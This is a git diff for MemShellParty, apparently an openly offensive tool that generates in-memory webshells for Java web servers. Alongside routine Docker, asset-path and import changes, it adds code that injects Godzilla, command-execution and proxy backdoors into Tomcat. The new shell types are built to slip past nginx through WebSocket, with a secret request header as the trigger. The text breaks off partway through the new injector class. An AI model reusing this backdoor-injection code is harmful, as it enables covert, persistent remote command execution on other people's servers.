diff --git a/Dockerfile b/Dockerfile index c38a1013..57023534 100644 --- a/Dockerfile +++ b/Dockerfile @@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \ rm -rf vul integration-test tools # https://hub.docker.com/r/oven/bun -FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend +FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend ARG ROUTE_ROOT_PATH="/" ARG CONTEXT_PATH="" @@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web RUN bun run build # https://hub.docker.com/_/eclipse-temurin/tags?name=17. -FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend +FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_10-jdk-noble AS backend WORKDIR /usr/src @@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res RUN ./gradlew :boot:bootjar -x test -FROM eclipse-temurin:17.0.15_6-jre-noble +FROM eclipse-temurin:17.0.17_10-jre-noble LABEL authors="ReaJason" diff --git a/README.md b/README.md index 54ce3d73..983c676d 100644 --- a/README.md +++ b/README.md @@ -25,10 +25,10 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。

- normal_memshell - agent_memshell - dnslog_probe - about_page + normal_memshell + agent_memshell + dnslog_probe + about_page

## 主要特性 diff --git a/asserts/about_page.png b/assets/about_page.png similarity index 100% rename from asserts/about_page.png rename to assets/about_page.png diff --git a/asserts/agent/jattach-linux b/assets/agent/jattach-linux similarity index 100% rename from asserts/agent/jattach-linux rename to assets/agent/jattach-linux diff --git a/asserts/agent_memshell.png b/assets/agent_memshell.png similarity index 100% rename from asserts/agent_memshell.png rename to assets/agent_memshell.png diff --git a/asserts/dnslog_probe.png b/assets/dnslog_probe.png similarity index 100% rename from asserts/dnslog_probe.png rename to assets/dnslog_probe.png diff --git a/asserts/http_post_server.py b/assets/http_post_server.py similarity index 100% rename from asserts/http_post_server.py rename to assets/http_post_server.py diff --git a/asserts/k6test.js b/assets/k6test.js similarity index 100% rename from asserts/k6test.js rename to assets/k6test.js diff --git a/asserts/neoreg/Dockerfile b/assets/neoreg/Dockerfile similarity index 100% rename from asserts/neoreg/Dockerfile rename to assets/neoreg/Dockerfile diff --git a/asserts/neoreg/neoreg.py b/assets/neoreg/neoreg.py similarity index 100% rename from asserts/neoreg/neoreg.py rename to assets/neoreg/neoreg.py diff --git a/asserts/normal_memshell.png b/assets/normal_memshell.png similarity index 100% rename from asserts/normal_memshell.png rename to assets/normal_memshell.png diff --git a/asserts/suo5/suo5-darwin-arm64 b/assets/suo5/suo5-darwin-arm64 similarity index 100% rename from asserts/suo5/suo5-darwin-arm64 rename to assets/suo5/suo5-darwin-arm64 diff --git a/asserts/suo5/suo5-linux-amd64 b/assets/suo5/suo5-linux-amd64 similarity index 100% rename from asserts/suo5/suo5-linux-amd64 rename to assets/suo5/suo5-linux-amd64 diff --git a/asserts/suo5/suo5v2-darwin-arm64 b/assets/suo5/suo5v2-darwin-arm64 similarity index 100% rename from asserts/suo5/suo5v2-darwin-arm64 rename to assets/suo5/suo5v2-darwin-arm64 diff --git a/asserts/suo5/suo5v2-linux-amd64 b/assets/suo5/suo5v2-linux-amd64 similarity index 100% rename from asserts/suo5/suo5v2-linux-amd64 rename to assets/suo5/suo5v2-linux-amd64 diff --git a/boot/Dockerfile b/boot/Dockerfile index 9ad007a5..342cf603 100644 --- a/boot/Dockerfile +++ b/boot/Dockerfile @@ -1,4 +1,4 @@ -FROM eclipse-temurin:17.0.14_7-jre-noble +FROM eclipse-temurin:17.0.17_10-jre-noble LABEL authors="ReaJason" diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 419cd67e..dee28166 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -51,6 +51,8 @@ public ShellToolConfig parseShellToolConfig() { case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .paramName(shellToolConfig.getCommandParamName()) + .headerName(shellToolConfig.getHeaderName()) + .headerValue(shellToolConfig.getHeaderValue()) .template(shellToolConfig.getCommandTemplate()) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) @@ -75,6 +77,10 @@ public ShellToolConfig parseShellToolConfig() { .shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassName(shellToolConfig.getShellClassName()) .build(); + case Proxy -> ProxyConfig.builder() + .headerName(shellToolConfig.getHeaderName()) + .headerValue(shellToolConfig.getHeaderValue()) + .shellClassName(shellToolConfig.shellClassName).build(); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); }; } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java b/boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java index 2262feae..23d8e2cc 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.boot.entity; -import lombok.Data; import lombok.Builder; +import lombok.Data; /** * @author ReaJason diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java index 91e3941d..a4edad98 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java @@ -2,7 +2,7 @@ import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason diff --git a/build-logic/src/main/kotlin/maven-publish-convention.gradle.kts b/build-logic/src/main/kotlin/maven-publish-convention.gradle.kts index 9a9ffa52..f7515099 100644 --- a/build-logic/src/main/kotlin/maven-publish-convention.gradle.kts +++ b/build-logic/src/main/kotlin/maven-publish-convention.gradle.kts @@ -3,7 +3,7 @@ plugins { } mavenPublishing { - publishToMavenCentral() + publishToMavenCentral(automaticRelease = true, validateDeployment = true) signAllPublications() coordinates( "io.github.reajason", diff --git a/build.gradle.kts b/build.gradle.kts index f91eb3f8..31deeee5 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.4.2" +version = "2.4.3-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/docs/README.en.md b/docs/README.en.md index 9a170bbe..ae379670 100644 --- a/docs/README.en.md +++ b/docs/README.en.md @@ -36,9 +36,9 @@ What you can learn or try from this project: 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). -![normal_generator](../asserts/normal_generator.png) +![normal_generator](../assets/normal_generator.png) -![agent_generator](../asserts/agent_generator.png) +![agent_generator](../assets/agent_generator.png) ## Key Features diff --git a/generator/build.gradle.kts b/generator/build.gradle.kts index 5b948521..cef92a1c 100644 --- a/generator/build.gradle.kts +++ b/generator/build.gradle.kts @@ -32,7 +32,9 @@ dependencies { api(libs.byte.buddy) implementation(libs.asm.commons) implementation(libs.javax.websocket.api) + implementation(libs.jakarta.websocket.client.api) implementation(libs.javax.servlet.api) + implementation(libs.jakarta.servlet.api) implementation(libs.spring.webmvc) implementation(libs.spring.webflux) implementation(libs.reactor.netty.core) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 520d8dae..32600cc5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -5,6 +5,7 @@ import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.generator.InjectorGenerator; +import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator; import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeMethod; @@ -63,6 +64,11 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassBytes(shellBytes); + if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) + || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { + injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); + } + InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index d2e2a810..34464794 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5v2.*; +import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket; import java.util.Collections; import java.util.List; @@ -60,6 +61,8 @@ public class ServerFactory { .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) + .addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class) + .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) @@ -137,6 +140,8 @@ public class ServerFactory { .addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) + .addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class) + .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class) .addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) @@ -235,6 +240,13 @@ public class ServerFactory { .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(ACTION, NeoreGeorgStruct2Action.class) .build()); + + addToolMapping(ShellTool.Proxy, ToolMapping.builder() + .addShellClass(WEBSOCKET, ProxyWebSocket.class) + .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class) + .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class) + .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class) + .build()); } public static void register(String serverName, Supplier shellSupplier) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index 6b7a6cdd..7b687fa5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -12,5 +12,6 @@ public class ShellTool { public static final String Suo5v2 = "Suo5v2"; public static final String AntSword = "AntSword"; public static final String NeoreGeorg = "NeoreGeorg"; + public static final String Proxy = "Proxy"; public static final String Custom = "Custom"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java index 29d3c8ac..1acbc5bf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java @@ -27,6 +27,7 @@ public class ShellToolFactory { register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); + register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class); } public static void register(String shellToolName, Class generatorClass, Class configClass) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index f01163af..487eff1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -45,7 +45,9 @@ public class ShellType { public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String WEBSOCKET = "WebSocket"; + public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; + public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; public static final String ACTION = "Action"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index bbcbda2d..33a49539 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig { @Builder.Default private String paramName = CommonUtil.getRandomString(8); + /** + * 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰 + */ + @Builder.Default + private String headerName = "User-Agent"; + + /** + * 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰 + */ + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); + /** * 加密器 */ @@ -48,6 +60,22 @@ public B paramName(String paramName) { } return self(); } + + public B headerName(final String headerName) { + if (StringUtils.isNotBlank(headerName)) { + this.headerName$value = headerName; + headerName$set = true; + } + return self(); + } + + public B headerValue(final String headerValue) { + if (StringUtils.isNotBlank(headerValue)) { + this.headerValue$value = headerValue; + headerValue$set = true; + } + return self(); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index 5a85c011..236d83da 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -16,37 +16,38 @@ @AllArgsConstructor @Builder(toBuilder = true) public class InjectorConfig { - /** - * 注入器 Builder - */ - DynamicType.Builder injectorBuilder; - /** - * 内存马 Builder - */ - DynamicType.Builder shellBuilder; /** * 注入器模板类 */ private Class injectorClass; + /** * 注入器类名 */ @Builder.Default private String injectorClassName = CommonUtil.generateInjectorClassName(); + /** * 注入访问的地址 */ @Builder.Default private String urlPattern = "/*"; + /** * 内存马类名 */ private String shellClassName; + /** * 内存马类字节 */ private byte[] shellClassBytes; + /** + * 辅助类字节码 + */ + private byte[] helperClassBytes; + /** * 添加静态代码块调用构造方法初始化 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java new file mode 100644 index 00000000..fc9983ce --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; +import org.apache.commons.lang3.StringUtils; + +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class ProxyConfig extends ShellToolConfig { + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); + + public static abstract class ProxyConfigBuilder> + extends ShellToolConfig.ShellToolConfigBuilder { + + public B headerName(final String headerName) { + if (StringUtils.isNotBlank(headerName)) { + this.headerName$value = headerName; + headerName$set = true; + } + return self(); + } + + public B headerValue(final String headerValue) { + if (StringUtils.isNotBlank(headerValue)) { + this.headerValue$value = headerValue; + headerValue$set = true; + } + return self(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 5ec889eb..49c2389d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -73,12 +73,18 @@ public class ShellConfig { @Builder.Default private boolean lambdaSuffix = false; + /** + * 将 Java EE 转换为 Jakarta EE 类名 + */ + @Builder.Default + private boolean jakarta = false; + public boolean isDebugOff() { return !debug; } public boolean isJakarta() { - return shellType.startsWith(ShellType.JAKARTA); + return jakarta || shellType.startsWith(ShellType.JAKARTA); } public boolean needByPassJavaModule() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index cd197dd8..3251ed69 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -49,6 +49,12 @@ public DynamicType.Builder getBuilder() { .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); + byte[] helperClassBytes = injectorConfig.getHelperClassBytes(); + if (helperClassBytes != null) { + String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes)); + builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64)); + } + if (shellConfig.needByPassJavaModule()) { builder = ByPassJavaModuleInterceptor.extend(builder); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java new file mode 100644 index 00000000..aaf4d884 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.ProxyConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +public class ProxyGenerator extends ByteBuddyShellGenerator { + public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) { + super(shellConfig, shellToolConfig); + } + + @Override + protected DynamicType.Builder getBuilder() { + return new ByteBuddy().redefine(shellToolConfig.getShellClass()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java new file mode 100644 index 00000000..7b2d5eb3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; +import com.reajason.javaweb.utils.CommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.lang3.tuple.Pair; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2026/1/13 + */ +public class WebSocketByPassHelperGenerator { + public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + Pair headerPair = getHeaderPair(shellToolConfig); + if (headerPair == null) { + throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); + } + + if (Server.Tomcat.equals(shellConfig.getServer())) { + DynamicType.Builder builder = new ByteBuddy() + .redefine(TomcatWsBypassValve.class) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) + .field(named("headerName")).value(headerPair.getKey()) + .field(named("headerValue")).value(headerPair.getValue()) + .name(CommonUtil.generateClassName()); + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + try (DynamicType.Unloaded dynamicType = builder.make()) { + return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink()); + } + } + return null; + } + + private static Pair getHeaderPair(ShellToolConfig shellToolConfig) { + if (shellToolConfig instanceof CommandConfig) { + return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue()); + } else if (shellToolConfig instanceof GodzillaConfig) { + return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue()); + } else if (shellToolConfig instanceof ProxyConfig) { + return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue()); + } + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java index de99ec43..5a896b8b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.generator.command; import net.bytebuddy.asm.Advice; -import org.apache.commons.io.IOUtils; import java.io.IOException; import java.io.InputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index b9c82d6d..04f63a53 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -6,7 +6,9 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 4fb7f3c3..4a89e0ca 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -6,7 +6,9 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index b8186b16..569168ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -121,10 +121,10 @@ public void inject(Object context, Object filter) throws Exception { Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); Object[] newMappings = null; - int length = Array.getLength(mappings); - if (mappings == null || length == 0) { + if (mappings == null || Array.getLength(mappings) == 0) { newMappings = (Object[]) Array.newInstance(filterMappingClass, 1); } else { + int length = Array.getLength(mappings); newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1); System.arraycopy(mappings, 0, newMappings, 1, length); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 6b4c5bd6..014469f2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -8,7 +8,10 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.*; +import java.util.EventListener; +import java.util.HashSet; +import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index dfa9f43e..dbfcf022 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -5,9 +5,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; -import java.util.ArrayList; import java.util.HashSet; -import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 9087a1af..2dc181de 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -6,7 +6,10 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index 496496a0..a74f2d9a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -6,7 +6,6 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Set; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 36fc1698..7d7a6688 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -6,7 +6,9 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketByPassInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketByPassInjector.java new file mode 100644 index 00000000..00ac2b41 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketByPassInjector.java @@ -0,0 +1,286 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2026/1/13 + */ +public class TomcatWebSocketByPassInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getHelperBase64String() { + return "{{helperBase64String}}"; + } + + public TomcatWebSocketByPassInjector() { + if (ok) { + return; + } + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found"; + } else { + for (Object context : contexts) { + try { + msg += ("context: [" + getContextRoot(context) + "] "); + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + ok = true; + System.out.println(msg); + } + + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = 